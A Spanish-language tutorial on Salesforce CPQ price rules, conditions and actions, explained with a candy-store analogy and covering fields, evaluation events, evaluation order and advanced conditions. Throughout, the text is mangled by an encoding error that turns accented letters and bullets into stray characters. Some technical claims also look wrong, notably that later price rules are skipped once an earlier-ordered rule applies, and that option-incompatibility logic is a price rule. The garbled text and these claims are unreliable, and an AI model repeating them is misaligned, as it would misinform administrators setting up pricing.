鈥 Resultado: cuando un cliente agrega dulces a su cotizaci贸n, Price Action ajustar谩 el precio unitario en funci贸n de la cantidad, proporcionando descuentos de precios basados en el volumen.

3. Regalo con Compra:

鈥 Acci贸n de precio: establezca el objeto de destino como "Cotizaci贸n" para aplicar la acci贸n en el nivel de cotizaci贸n.

鈥 Acci贸n: Especifique una condici贸n de que si el cliente compra una cierta cantidad de un dulce espec铆fico, recibir谩 un regalo.

鈥 Resultado: cuando se cumple la condici贸n especificada, Price Action agregar谩 autom谩ticamente el obsequio a la cotizaci贸n, mejorando la experiencia del cliente.

4. Precios especiales para clientes VIP:

鈥 Acci贸n de precio: cree un objeto de acci贸n de precio con el objeto de destino como "Cotizaci贸n" o "L铆nea de cotizaci贸n" seg煤n sus requisitos.

鈥 Acci贸n: defina un campo personalizado que identifique a los clientes VIP. Establezca la Acci贸n de precio para aplicar un descuento espec铆fico para esos clientes.

鈥 Resultado: Cuando un cliente VIP agregue dulces a su cotizaci贸n, Price Action reconocer谩 su estado y aplicar谩 el descuento exclusivo autom谩ticamente.

Estos ejemplos demuestran c贸mo el objeto Price Action le permite definir acciones espec铆ficas, como aplicar descuentos, ajustar precios en funci贸n de la cantidad, ofrecer obsequios o proporcionar precios especiales para segmentos de clientes espec铆ficos. El objeto Price Action le permite automatizar estas acciones.

La regla de precio y el objeto de acci贸n de precio tienen una relaci贸n maestro-detalle.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Comprensi贸n de los campos en el objeto de acci贸n del precio

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Cu谩l es el uso del campo de regla de precio en el objeto de acci贸n de precio?

Conecta la acci贸n del precio con la regla de precio principal. Indica a qu茅 regla de precio est谩 asociada la acci贸n de precio y determina bajo qu茅 regla debe evaluarse la condici贸n.

驴Cu谩l es la importancia del objeto objetivo en la acci贸n del precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

El objeto de destino en la acci贸n del precio determina d贸nde se aplicar谩n los cambios de precios especificados en la acci贸n del precio.

Suponga que tiene una acci贸n de precio que aplica un descuento del 10 % al precio unitario de los dulces de ositos de goma cuando la cantidad supera los 100. El campo Objeto de destino en la acci贸n de precio determina qu茅 registros recibir谩n este descuento.

En este caso, seleccionar铆a el objeto "L铆nea de cotizaci贸n" como el Objeto de destino en la Acci贸n del precio. Esto significa que el descuento se aplicar谩 a los registros de l铆nea de cotizaci贸n que representan los dulces de ositos de goma en la cotizaci贸n.

驴Importancia del campo Valor en Price Action?

El campo Valor en el objeto Acci贸n del precio se usa para especificar el valor espec铆fico o los datos que deben establecerse en el campo del objeto de destino. Define el resultado de la acci贸n del precio, indicando el resultado deseado o el cambio que debe ocurrir.

Escenario: cuando un cliente agrega un osito de gominola con sabor a fresa a su cotizaci贸n, Price Action actualizar谩 el campo Precio de ese dulce al valor especificado de $2.50.

Soluci贸n:

鈥 Acci贸n de precio: Cree un objeto de Acci贸n de precio con el Objeto de destino establecido como 鈥淟铆nea de cotizaci贸n鈥.

鈥 Campo: elija el campo 鈥淧recio鈥 en el objeto de destino que desea actualizar con un nuevo valor

鈥 Valor: Especifique el precio deseado para el sabor del caramelo en el campo Valor. Si el dulce es un osito de goma con sabor a fresa, establezca el campo Valor en $2,50.

驴Cu谩l es el uso del campo F贸rmula en el objeto Acci贸n de precio y el campo F贸rmula en el objeto Condici贸n de precio?

Comprendamos cu谩ndo usar el campo F贸rmula en cada objeto.

  • El campo F贸rmula en la Acci贸n del precio se usa para calcular y aplicar directamente el monto del descuento o el valor del campo seg煤n ciertos criterios.
  • El campo F贸rmula en la Condici贸n de precio establece condiciones o calcula valores que determinan cu谩ndo debe ejecutarse la Acci贸n de precio.

Suponga que desea ofrecer un 10 % de descuento en un dulce de sabor a 鈥渃hocolate鈥, pero el monto del descuento var铆a seg煤n la cantidad pedida del sabor de dulce de chocolate en la cotizaci贸n.

Uso de la f贸rmula en la acci贸n del precio:

En este escenario, puede agregar un campo F贸rmula directamente al objeto Acci贸n del precio. La f贸rmula calcular铆a el monto del descuento en funci贸n de la cantidad del sabor del caramelo "chocolate".

Uso de f贸rmula en condici贸n de precio:

En algunos casos, es posible que desee aplicar el descuento solo si la cantidad del sabor de caramelo espec铆fico supera cierto umbral.

鈥淪I (Cantidad > 10, 0,2, 0,1)鈥 que establece el porcentaje de descuento en un 20% si la cantidad es superior a 10 y en un 10% en caso contrario. La condici贸n de precio comprueba esta f贸rmula y eval煤a si se cumple la condici贸n. Si se cumple la condici贸n, activa la Price Action asociada con el porcentaje de descuento definido.

Razones para usar f贸rmulas en condiciones de precio:

1. L贸gica condicional: el campo F贸rmula en la Condici贸n de precio le permite definir la l贸gica condicional en funci贸n de criterios espec铆ficos. Puede configurar condiciones complejas que involucren m煤ltiples campos o c谩lculos para determinar si se debe activar la acci贸n del precio.

2. Filtrado avanzado: la condici贸n de precio puede evaluar varios factores, como cantidad, precio, rango de fechas o cualquier otro campo relevante antes de decidir aplicar la acci贸n de precio.

Razones para usar f贸rmulas en la acci贸n del precio:

1. Actualizaciones directas de campo: si el c谩lculo del descuento es sencillo y no requiere condiciones complejas o filtrado, puede calcular y actualizar directamente el valor del campo en la acci贸n del precio.

驴Cu谩l es la importancia del campo fuente en la acci贸n del precio?

El "Campo de origen" en Price Action especifica el campo desde el cual se obtendr谩 el valor y se utilizar谩 en Price Action.

Gui贸n:

Para un producto de golosina en particular, el campo "Precio original" en el objeto Producto es $10.

Cuando se activa la Acci贸n de precio, obtendr谩 el valor de $10 del campo "Precio original" en el objeto Producto.

La acci贸n del precio luego actualizar谩 el campo "Precio con descuento" en la l铆nea de cotizaci贸n con el valor obtenido. Digamos que tienes un porcentaje de descuento del 20%. En este caso, el c谩lculo ser铆a:

Precio con descuento = Precio original 鈥 (Precio original * Porcentaje de descuento)

= $10 鈥 ($10 * 0.20)

= $10 鈥 $2

= $8

Despu茅s de ejecutar la acci贸n de precio, el campo "Precio con descuento" en la l铆nea de cotizaci贸n se actualizar谩 con el valor calculado de $8.

Soluci贸n:

Los siguientes detalles se completar谩n en el objeto de acci贸n del precio:

鈥 Objeto de origen: Producto

鈥 Campo de origen: precio original

鈥 Objeto de destino: l铆nea de cotizaci贸n

鈥 Campo objetivo: Precio con descuento

驴Diferencia entre el campo de origen y el campo de b煤squeda de origen en la acci贸n del precio?

Objeto rectangular blanco con fondo blanco Descripci贸n generada autom谩ticamente

Campo de origen:

鈥 El campo de origen hace referencia a un campo espec铆fico en el objeto de origen del que se obtienen los datos y se utilizan en la acci贸n del precio.

Campo de b煤squeda de fuente:

鈥 El campo de b煤squeda de origen, por otro lado, se usa cuando desea obtener el valor de campo de un registro relacionado a trav茅s de una relaci贸n de b煤squeda. Le permite atravesar un campo de b煤squeda para acceder a campos en el objeto relacionado y usarlos en la acci贸n del precio.

Para entender la diferencia, consideremos un ejemplo con una tienda de golosinas:

Suponga que tiene un campo personalizado denominado "Precio original" en el objeto Producto y una relaci贸n de b煤squeda entre los objetos Producto y Fabricante. El objeto Fabricante tiene un campo llamado "Nombre del fabricante".

Si desea buscar y usar el valor del campo "Precio original" directamente, usar铆a el Campo de origen. Sin embargo, si desea acceder al valor del campo "Nombre del fabricante" a trav茅s de la relaci贸n de b煤squeda, debe utilizar el Campo de b煤squeda de origen.

Aqu铆 hay una comparaci贸n entre los dos:

Campo de origen:

鈥 Ejemplo: Producto.Precio_Original__c

鈥 Hace referencia directa al campo en el objeto de origen.

鈥 Obtiene y utiliza el valor del campo especificado tal cual.

Campo de b煤squeda de fuente:

鈥 Ejemplo: Producto.Fabricante__r.Nombre_Fabricante__c

鈥 Recorre una relaci贸n de b煤squeda para acceder al valor de campo del objeto relacionado.

鈥 Obtiene y usa el valor del campo especificado en el objeto relacionado.

En resumen, el campo de origen se usa para hacer referencia directamente a un campo en el objeto de origen, mientras que el campo de b煤squeda de origen se usa para obtener el valor de campo de un registro relacionado a trav茅s de una relaci贸n de b煤squeda. La elecci贸n depende de los datos espec铆ficos que desea recuperar y utilizar en la acci贸n del precio.

驴Cu谩l es el uso del campo Variable de origen en la regla de precio?

Continuemos con nuestro ejemplo de la tienda de golosinas para ilustrar el uso del campo variable de origen en una acci贸n de precio.

El campo Variable de origen en la Acci贸n de precio le permite obtener el valor de la variable personalizada, digamos "Porcentaje de descuento" de la Regla de precio asociada. Esto permite que Price Action aplique din谩micamente el porcentaje de descuento correcto al campo "Precio con descuento".

1. Configure los siguientes detalles para la acci贸n del precio:

鈥 Objeto de origen: l铆nea de cotizaci贸n

鈥 Objeto de destino: l铆nea de cotizaci贸n

鈥 Campo objetivo: Precio con descuento

鈥 Campo de variable de origen: Porcentaje de descuento

3. Digamos que la regla de precio determin贸 que el porcentaje de descuento aplicable es del 15 % en funci贸n de la cantidad de dulces en la cotizaci贸n.

4. La acci贸n del precio usar谩 el valor obtenido del 15 % y lo aplicar谩 al campo "Precio con descuento" en la l铆nea de cotizaci贸n. Supongamos que el precio original de los dulces es de $10.

Precio con descuento = Precio original 鈥 (Precio original * Porcentaje de descuento)

= $10 鈥 ($10 * 0,15)

= $10 鈥 $1.50

= $8.50

5. Despu茅s de ejecutar la acci贸n de precio, el campo "Precio con descuento" en la l铆nea de cotizaci贸n se actualizar谩 con el valor calculado de $8,50.

50% Me gusta VS
50% No me gusta

Continue reading

Salesforce CPQ cubierto de az煤car: 隆Desentra帽ando las reglas de precios en el mundo de las tiendas de golosinas!

Salesforce CPQ cubierto de az煤car: 隆Desentra帽ando las reglas de precios en el mundo de las tiendas de golosinas!

Imagine que est谩 creando un sistema Salesforce CPQ para una tienda de golosinas. Vaya, ser谩 muy divertido. 驴C贸mo usar铆a las reglas de precios para manejar promociones especiales, como una oferta de "Compre uno, ll茅vese otro gratis" para un dulce espec铆fico? En el escenario de la tienda de golosinas, 驴c贸mo crear铆a una regla de precio para aplicar un descuento del 20 % a todos los chocolates durante el D铆a de San Valent铆n?

Entonces, 隆saltemos y exploremos las reglas de precios en el universo de Salesforce CPQ cubierto de az煤car! Yay 馃槉

驴Regla de precios en Salesforce CPQ?

Imagina que tienes una tienda de dulces con diferentes tipos de dulces como piruletas, ositos de goma y barras de chocolate. Cada caramelo tiene un precio diferente. Ahora, hablemos de la regla del precio:

La regla del precio es como una regla especial que creas para tu tienda de golosinas. Te ayuda a decidir c贸mo fijar los precios o aplicar descuentos a diferentes dulces en funci贸n de determinadas condiciones.

Por ejemplo, supongamos que desea tener una oferta de "Compre uno, ll茅vese otro gratis" para dulces de ositos de goma. Puede crear una regla de precios que diga que cada vez que alguien compra un paquete de ositos de goma, obtiene otro paquete gratis. 隆Es como una oferta especial solo para los amantes de los ositos de goma!

O tal vez quieras tener un descuento en piruletas por tiempo limitado. Puede crear una regla de precio llamada "Venta de piruletas" que reduce el precio de las piruletas en un 20 % durante una semana. Esto hace que las piruletas sean m谩s asequibles y anima a m谩s personas a comprarlas.

La regla de precios le permite establecer diferentes acciones y condiciones de precios para cada tipo de dulce. Puede definir descuentos, ofertas especiales o incluso ajustar los precios en funci贸n de condiciones espec铆ficas, como la cantidad comprada o el estado de membres铆a del cliente.

Al crear Reglas de precios, puede hacer que su tienda de golosinas sea m谩s emocionante y atraer a m谩s clientes. Te ayuda a establecer precios y aplicar descuentos de una manera que hace felices a las personas y las alienta a comprar sus dulces favoritos.

Imagen

驴Cu谩l es la estructura de la Regla de Precios?

La regla de precios inclu铆a tres registros relacionados:

  1. Regla de precio
  2. Precio Condici贸n
  3. Acci贸n del precio

La Regla de precio tiene una relaci贸n Maestro-Detalle con la Condici贸n de precio y la Acci贸n de precio.

Al conectar la regla de precios con las condiciones de precios secundarias relevantes, el sistema de precios garantiza que se apliquen las reglas apropiadas en funci贸n de condiciones espec铆ficas. Price Action define las acciones que se deben tomar cuando se cumplen las condiciones de precio asociadas. Especifica c贸mo se deben modificar los precios u otros valores de campo en funci贸n de los criterios de la regla.

1. Regla de precio: La regla de precio contiene todas las reglas espec铆ficas para la fijaci贸n de precios en la tienda de golosinas. Le dice a la tienda c贸mo manejar diferentes situaciones al establecer los precios de los dulces.

2. Condici贸n de precio: Hay alguien en la tienda que verifica el tipo de dulces que desea comprar. Se aseguran de que cumpla ciertas condiciones, como ser un 鈥淕ummy Bear鈥 o tener un sabor espec铆fico.

3. Acci贸n del precio: una vez que el dulce pasa la inspecci贸n, hay alguien que ajusta el precio seg煤n las reglas de precios. Pueden ofrecer un descuento, cambiar la cantidad o hacer algo especial para que el precio sea m谩s atractivo.

Importancia de los campos en la regla de precios

Los campos juegan un papel importante en las reglas de precios dentro de Salesforce CPQ. Las reglas de precios usan campos para definir condiciones, acciones y criterios que determinan c贸mo se aplican los c谩lculos de precios y los descuentos. Por lo tanto, comprenderemos cada campo en el objeto Regla de precio y su importancia con la ayuda del Ejemplo de tienda de golosinas.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Diferencia entre Calculator y Configurator Evaluation Scope en la regla de precio en Salesforce CPQ?

Un rect谩ngulo blanco y azul con una l铆nea azul Descripci贸n generada autom谩ticamente

El campo Alcance de la evaluaci贸n es como usar esa calculadora m谩gica. Cuando tiene reglas de precios con el 脕mbito de evaluaci贸n de la calculadora, la calculadora las utiliza para decidir cu谩nto deber铆a costar algo. Tiene dos valores de lista de selecci贸n:

  • 脕mbito de evaluaci贸n de la calculadora: el 谩mbito se trata de usar reglas especiales para calcular precios.
  • 脕mbito de evaluaci贸n del configurador: seguir las reglas cuando elige diferentes opciones.

Expliquemos la diferencia entre los 谩mbitos de evaluaci贸n de Calculadora y Configurador en Salesforce CPQ con un ejemplo en tiempo real:

Imagina que vas a una tienda de dulces a comprar unos deliciosos dulces. Tienes un presupuesto de $10 y quieres comprar diferentes tipos de dulces seg煤n sus sabores.

Exploremos c贸mo entran en juego los 谩mbitos de evaluaci贸n de la calculadora y el configurador:

1. 脕mbito de evaluaci贸n de la calculadora:

鈥 Imagina que hay una oferta especial en la que si compras m谩s de 5 caramelos, obtienes un 20% de descuento sobre el precio total.

鈥 Esta oferta es un ejemplo de una regla de precio con el 脕mbito de evaluaci贸n de la calculadora. La regla calcula el precio con descuento en funci贸n de la cantidad de dulces que est谩 comprando.

鈥 Entonces, si agrega 7 dulces a su carrito, la Calculadora eval煤a la regla del precio y aplica el descuento, reduciendo el costo total.

2. Alcance de la evaluaci贸n del configurador:

鈥 Ahora, consideremos los sabores de dulces disponibles en la tienda: fresa, chocolate y lim贸n.

鈥 Existe una regla que dice que si elige dulces con sabor a fresa, no puede elegir dulces con sabor a lim贸n porque no combinan bien.

鈥 Esta regla es un ejemplo de una regla de precio con el alcance de evaluaci贸n del configurador. Controla la disponibilidad de ciertas opciones en funci贸n de sus elecciones anteriores.

鈥 Si ya tienes caramelos de fresa en tu carrito, el Configurador eval煤a la regla y evita que selecciones caramelos de lim贸n, asegurando que no termines con una combinaci贸n incompatible.

En este ejemplo anterior

El 脕mbito de evaluaci贸n de la calculadora ayuda a calcular el precio total de sus dulces en funci贸n de ofertas especiales, descuentos y cantidad.

El 脕mbito de evaluaci贸n del configurador garantiza que siga ciertas reglas al seleccionar diferentes opciones, como sabores, para evitar opciones incompatibles.

驴Explicar el evento de evaluaci贸n de la calculadora?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Expliquemos los eventos de evaluaci贸n de la calculadora de "Al iniciar", "Al calcular", "Antes de calcular" y "Despu茅s de calcular" con un ejemplo en tiempo real utilizando el escenario de la tienda de golosinas:

En breve:

鈥淥n Initiate鈥 marca el comienzo del proceso de c谩lculo de caramelos.

鈥淥n Calculate鈥 realiza el c谩lculo del precio real de los dulces.

"Antes de calcular" aplica cualquier verificaci贸n o regla final justo antes del c谩lculo.

"Despu茅s de calcular" permite acciones adicionales o sorpresas despu茅s de que se hayan determinado los precios.

Entendamos con m谩s detalle:

1. Al iniciar:

鈥 Suponga que tiene una regla de precio que establece que si el cliente es un miembro leal, obtiene un 5 % de descuento en todas las compras de golosinas.

鈥 Esta regla de precio tendr铆a el evento de evaluaci贸n establecido en "Al iniciar".

鈥 Cuando el cliente inicia el proceso de c谩lculo del precio, como por ejemplo al comenzar una nueva cotizaci贸n, el sistema verifica si es un miembro fiel y aplica el 5% de descuento a todos los dulces en su carrito desde el principio.

2. En Calcular:

鈥 Imagine que tiene una regla de precio que ofrece un descuento por volumen si el cliente compra m谩s de 10 dulces de cualquier sabor.

鈥 Esta regla de precio tendr铆a el evento de evaluaci贸n establecido en "Al calcular".

鈥 A medida que el cliente agrega dulces a su carrito, el sistema calcula continuamente la cantidad total de dulces. Cuando alcanza o supera los 10, se activa la regla de precio y se aplica un descuento por volumen a todos los dulces del carrito.

3. Antes de calcular:

鈥 Supongamos que tiene una regla de precio que establece que si el cliente ha seleccionado dulces con un precio total superior a $30, recibe una bolsa de dulces de cortes铆a.

鈥 Esta regla de precio tendr铆a el evento de evaluaci贸n establecido en "Antes de calcular".

鈥 Justo antes de realizar el c谩lculo final, el sistema verifica si el precio total de los dulces supera los $30. Si es as铆, se activa la regla de precio y se agrega una bolsa de dulces de cortes铆a al carrito.

4. Despu茅s de calcular:

鈥 Suponga que tiene una regla de precio que ofrece una oferta promocional especial de "Compre 2, obtenga 1 gratis" para un sabor de dulce espec铆fico.

鈥 Esta regla de precio tendr铆a el evento de evaluaci贸n establecido en "Despu茅s de calcular".

鈥 Una vez que se completa el c谩lculo final, el sistema revisa los dulces seleccionados por el cliente e identifica si califican para la oferta "Compre 2, obtenga 1 gratis". Si lo hacen, se activa la regla de precio y el sistema agrega los dulces gratis al carrito.

Mediante el uso de estos diferentes eventos de evaluaci贸n de la calculadora, puede aplicar descuentos, ofertas o modificaciones espec铆ficas en diferentes etapas del proceso de c谩lculo en Salesforce CPQ.

驴Cu谩l es el significado del campo "Condici贸n cumplida" en una regla de precios?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Expliquemos los conceptos de "Condici贸n cumplida – Todas" y "Condici贸n cumplida – Cualquiera" usando nuestro ejemplo de tienda de golosinas:

1. Condici贸n cumplida 鈥 Todas:

鈥 Imagina que tienes una tienda de golosinas con una promoci贸n especial: si un cliente compra al menos 5 golosinas y el precio total supera los $10, recibe una bolsa de golosinas gratis.

鈥 Esta regla de precio tendr铆a la condici贸n cumplida establecida en 鈥淭odos鈥.

鈥 Cuando un cliente agrega 5 o m谩s dulces a su carrito y el precio total de esos dulces supera los $10, 隆se cumplen todas las condiciones!

鈥 Como resultado, el sistema reconoce que el cliente califica para la promoci贸n y se agrega autom谩ticamente una bolsa de dulces gratis a su pedido al finalizar la compra.

2. Condici贸n cumplida 鈥 Cualquiera:

鈥 Ahora, considere una regla de precio diferente: si un cliente compra cualquier dulce con un sabor espec铆fico (por ejemplo, 鈥淐ereza鈥), o si compra m谩s de 10 dulces en total, recibe un descuento del 20%.

鈥 Esta regla de precio tendr铆a la condici贸n cumplida establecida en "Cualquiera".

鈥 Cuando un cliente selecciona un dulce con sabor a 鈥淐ereza鈥 o agrega m谩s de 10 dulces a su carrito, 隆cualquiera de las condiciones se cumple!

鈥 Como resultado, el sistema aplica el 20% de descuento a los dulces que califican, independientemente de la condici贸n que activ贸 el descuento.

En ambos escenarios, la "Condici贸n cumplida: todas" requiere que se cumplan todas las condiciones especificadas, mientras que la "Condici贸n cumplida: cualquiera" solo requiere que se cumpla al menos una condici贸n. Estos diferentes enfoques le permiten crear estrategias de precios personalizadas basadas en combinaciones espec铆ficas o criterios individuales.

驴Puede explicar el campo de objeto de b煤squeda en una regla de precio con la ayuda del escenario?

Un rect谩ngulo negro con borde azul Descripci贸n generada autom谩ticamente

En tu tienda de golosinas tienes diferentes tipos de golosinas con caracter铆sticas 煤nicas. El campo Objeto de b煤squeda en el objeto Regla de precio es como una conexi贸n especial que lo ayuda a aplicar reglas espec铆ficas a ciertos tipos de dulces.

Imagina que tienes un caramelo llamado "Rainbow Lollipop" y quieres crear una regla de precio especial para 茅l. As铆 es como funciona:

1. Relaci贸n de objetos de b煤squeda:

鈥 El campo Objeto de b煤squeda es como un puente que conecta la regla de precio con el caramelo 鈥淩ainbow Lollipop鈥.

鈥 Te ayuda a establecer una relaci贸n especial entre la Regla de Precio y este tipo de dulce espec铆fico.

2. Acceder a la informaci贸n de dulces:

鈥 Una vez que se establece la relaci贸n de b煤squeda, puede acceder a la informaci贸n sobre el caramelo 鈥淩ainbow Lollipop鈥 dentro de la regla de precio.

鈥 Podr谩s conocer detalles sobre el dulce, como su sabor, color

3. Aplicaci贸n de reglas especiales:

鈥 Al usar el campo Objeto de b煤squeda, puede crear reglas especiales que solo se aplican al caramelo 鈥淩ainbow Lollipop鈥.

鈥 Por ejemplo, puede crear una regla que ofrezca un descuento del 20% por cada 鈥淩ainbow Lollipop鈥 comprado.

Al tener esta conexi贸n especial entre la Regla de precio y el caramelo 鈥淩ainbow Lollipop鈥 a trav茅s del campo Objeto de b煤squeda, puede crear reglas 煤nicas y personalizadas solo para ese tipo de caramelo. Te permite aplicar ofertas especiales, descuentos u otras acciones espec铆ficas al 鈥淩ainbow Lollipop鈥 que lo hacen destacar entre otros dulces en tu tienda.

Vamos a entender con m谩s profundidad:

El campo Objeto de b煤squeda en el objeto Regla de precios es una funci贸n que le permite establecer una relaci贸n entre la Regla de precios y otro objeto en su organizaci贸n de Salesforce.

1. Establecimiento de la relaci贸n de b煤squeda:

鈥 Al crear una regla de precios, puede seleccionar un objeto relacionado en el campo Objeto de b煤squeda.

鈥 Esto establece una relaci贸n de b煤squeda entre la regla de precio y el objeto elegido.

鈥 El objeto relacionado puede ser un objeto de Salesforce est谩ndar (como Producto o Cuenta) o un objeto personalizado espec铆fico para sus necesidades comerciales.

2. Acceso a datos relacionados:

鈥 Una vez que se establece la relaci贸n de b煤squeda, puede acceder a los datos relacionados del objeto elegido dentro de la regla de precio.

鈥 Esto significa que puede recuperar informaci贸n de campos espec铆ficos en el objeto relacionado y usarla en su l贸gica de reglas de precios.

鈥 Por ejemplo, si el objeto de b煤squeda se establece en "Producto", puede acceder a los campos del objeto Producto, como Nombre del producto, Precio o cualquier campo personalizado relacionado con el producto.

3. Utilizaci贸n del objeto de b煤squeda en la l贸gica de la regla de precios:

鈥 Con el campo Objeto de b煤squeda, puede aprovechar los datos relacionados del objeto elegido para impulsar las condiciones y acciones de la regla de precios.

鈥 Por ejemplo, puede crear una regla de precio que aplique un descuento basado en el valor de un campo en el objeto relacionado.

鈥 Al hacer referencia a los campos en el objeto relacionado, puede definir condiciones y acciones que son din谩micas y adaptables en funci贸n de los valores almacenados en el objeto relacionado.

En resumen, el campo Objeto de b煤squeda en la Regla de precios le permite establecer una relaci贸n con otro objeto, recuperar datos de ese objeto y usarlos en la l贸gica de su regla de precios.

Si no ponemos ning煤n nombre de objeto en el campo de objeto de b煤squeda, 驴significa que no obtendr谩 datos de ese objeto y no podemos establecer una condici贸n basada en un registro en particular?

Eso es correcto. Si no especifica un nombre de objeto en el campo Objeto de b煤squeda de la Regla de precio, significa que la regla de precio no obtendr谩 datos de ning煤n objeto espec铆fico . Sin un objeto de b煤squeda especificado, no podr谩 establecer condiciones ni realizar acciones basadas en un registro particular o datos de otro objeto.

El campo Objeto de b煤squeda es fundamental para establecer una relaci贸n entre la regla de precios y un objeto espec铆fico. Le permite acceder y aprovechar los datos de ese objeto en la l贸gica de su regla de precios. Si deja el campo Objeto de b煤squeda en blanco, la regla de precio no tendr谩 una conexi贸n con ning煤n objeto, lo que limitar谩 su capacidad para hacer referencia a datos de otros registros o aplicar condiciones basadas en valores espec铆ficos .

驴Cu谩l es el significado de la casilla de verificaci贸n Activa en la regla de precios?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Cuando la casilla de verificaci贸n "Activo" est谩 marcada, indica que la regla de precios est谩 activa y solo entonces se evaluar谩 durante el proceso de c谩lculo de precios. Las reglas de precio inactivas no se eval煤an y sus condiciones y acciones se ignoran.

驴C贸mo afecta el campo Orden de evaluaci贸n a la aplicaci贸n de las Reglas de precios?

Un rect谩ngulo blanco con l铆neas negras Descripci贸n generada autom谩ticamente

El 鈥淥rden de Evaluaci贸n鈥 en una Regla de Precios es fundamental para definir la secuencia en la que se eval煤an las reglas durante el proceso de c谩lculo de precios. Ayuda a establecer la prioridad y la jerarqu铆a de las reglas cuando se aplican varias reglas. Las reglas con valores de orden de evaluaci贸n m谩s bajos se eval煤an primero.

Ejemplo de Orden de Evaluaci贸n:

Regla 1: Descuento para barras de chocolate

Orden de evaluaci贸n: 1

Condici贸n: Tipo de Caramelo es igual a 鈥淏arra de Chocolate鈥

Acci贸n: Aplicar un 10% de descuento sobre el precio de la barra de chocolate.

Regla 2: compre uno, ll茅vese otro gratis

Orden de evaluaci贸n: 2

Condici贸n: la cantidad es mayor o igual a 2

Acci贸n: Proporcionar un dulce gratis por cada dos dulces comprados.

En este ejemplo, la regla 1 tiene un orden de evaluaci贸n de 1, mientras que la regla 2 tiene un orden de evaluaci贸n de 2.

La regla 1 se evaluar谩 primero, seguida de la regla 2.

Ahora, veamos c贸mo la Orden de Evaluaci贸n impacta el c谩lculo de precios:

Supongamos que un cliente agrega dos barras de chocolate a su carrito. La Orden de Evaluaci贸n dicta la secuencia de ejecuci贸n de la regla. La regla 1, con un Orden de Evaluaci贸n inferior a 1, se evaluar谩 primero.

Regla 1 (Orden de evaluaci贸n 1):

Dado que el tipo de caramelo es una 鈥淏arra de Chocolate鈥 (condici贸n cumplida), se aplica un descuento del 10% sobre el precio de cada barra de chocolate.

Regla 2 (Orden de Evaluaci贸n 2):

La cantidad es 2 (condici贸n cumplida), pero la regla 2 no se evaluar谩 porque la regla 1 ya se aplic贸.

Como resultado, el cliente recibe un 10% de descuento en cada barra de chocolate y no hay cambios debido a la Regla 2.

Nota: La regla 1 se eval煤a primero y la regla 2 se omite porque la regla 1 ya se ha aplicado. S贸lo se aplicar谩 la primera regla. Esto se debe a que el Orden de evaluaci贸n determina la secuencia en la que se eval煤an las reglas y, una vez que se aplica una regla, se omiten las reglas posteriores con valores de Orden de evaluaci贸n m谩s altos.

驴Qu茅 sucede si queremos que se apliquen las reglas de precios y que no se omita ninguna seg煤n el Orden de evaluaci贸n?

Si desea que se apliquen ambas reglas sin omitir ninguna de ellas, deber谩 asegurarse de que ambas reglas tengan el mismo valor de Orden de evaluaci贸n. Al asignar el mismo Orden de Evaluaci贸n a ambas reglas, indica que tienen la misma prioridad, y ambas ser谩n evaluadas y aplicadas si se cumplen sus respectivas condiciones.

Modifiquemos el ejemplo para ilustrar esto:

1. Regla 1: Descuento para barras de chocolate

鈥 Orden de Evaluaci贸n: 1

鈥 Condici贸n: Tipo de Caramelo es igual a 鈥淏arra de Chocolate鈥

鈥 Acci贸n: Aplicar un 10% de descuento sobre el precio de la tableta de chocolate.

2. Regla 2: compre uno, ll茅vese otro gratis

鈥 Orden de Evaluaci贸n: 1

鈥 Condici贸n: La cantidad es mayor o igual a 2

鈥 Acci贸n: Proporcionar un caramelo gratis por cada dos caramelos comprados.

Con esta modificaci贸n, ambas reglas tienen un Orden de Evaluaci贸n de 1, lo que indica que tienen la misma prioridad.

Supongamos que un cliente agrega dos barras de chocolate a su carrito: la regla 1 y la regla 2, ambas con el orden de evaluaci贸n 1, se evaluar谩n en el orden en que aparecen.

鈥 Regla 1 (Orden de Evaluaci贸n 1):

鈥 Dado que el tipo de caramelo es una 鈥淏arra de Chocolate鈥 (condici贸n cumplida), se aplica un 10% de descuento sobre el precio de cada barra de chocolate.

鈥 Regla 2 (Orden de Evaluaci贸n 1):

鈥 La cantidad es 2 (condici贸n cumplida), y como ambas reglas tienen el mismo Orden de Evaluaci贸n, tambi茅n se eval煤a la Regla 2.

鈥 Se ejecuta la acci贸n de la Regla 2, entregando un caramelo gratis por cada dos caramelos comprados.

En este escenario, dado que ambas reglas tienen el mismo Orden de Evaluaci贸n, se eval煤an en el orden en que aparecen y ambas reglas se aplican si se cumplen sus condiciones. El cliente recibe un 10% de descuento en cada barra de chocolate y recibe un dulce gratis debido a la Regla 2.

驴C贸mo puede definir condiciones complejas usando la funci贸n de Condici贸n avanzada en una regla de precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Expliquemos la Condici贸n Avanzada en una Regla de Precio usando un ejemplo de caramelo:

Escenario de regla:

鈥 Desea crear una regla de precio para los dulces que son del tipo 鈥淕ummy Bear鈥, tienen un sabor a 鈥淔resa鈥 o se encuentran dentro de un rango de precios de $1 a $5.

Creando la Condici贸n Avanzada:

鈥 Con la funci贸n Condici贸n avanzada, puede definir una condici贸n compleja que involucre m煤ltiples campos y valores de comparaci贸n.

鈥 En este caso, configurar铆a la Condici贸n de precio asociada con la regla de precio con los siguientes componentes:

鈥 Condici贸n 1: Tipo de Caramelo es igual a 鈥淥sito de Gominola鈥

鈥 Condici贸n 2: Sabor igual a 鈥淔resa鈥

鈥 Condici贸n 3: El precio est谩 entre $1 y $5

(Candy_Type__c = 'Gummy Bear' && Flavor__c = 'Fresa') || (Precio__c >= 1 && Precio__c <= 5)

Tal como es (1 Y 2) O 3, implementaremos esta l贸gica utilizando la condici贸n avanzada

驴Qu茅 es el campo Producto en la regla de precio?

Un rect谩ngulo blanco con l铆neas negras Descripci贸n generada autom谩ticamente

Expliquemos el campo 鈥淧roducto鈥 en una Regla de Precio usando un ejemplo de dulces de una manera simple y f谩cil de entender:

Imagina que tienes una tienda de dulces con una variedad de dulces, como piruletas, barras de chocolate y ositos de goma. Cada caramelo tiene su propio precio. Ahora, hablemos del campo 鈥淧roducto鈥 en una regla de precio:

1. Selecci贸n de un producto de caramelo:

鈥 El campo 鈥淧roducto鈥 en una regla de precio le permite elegir un dulce espec铆fico del inventario de su tienda.

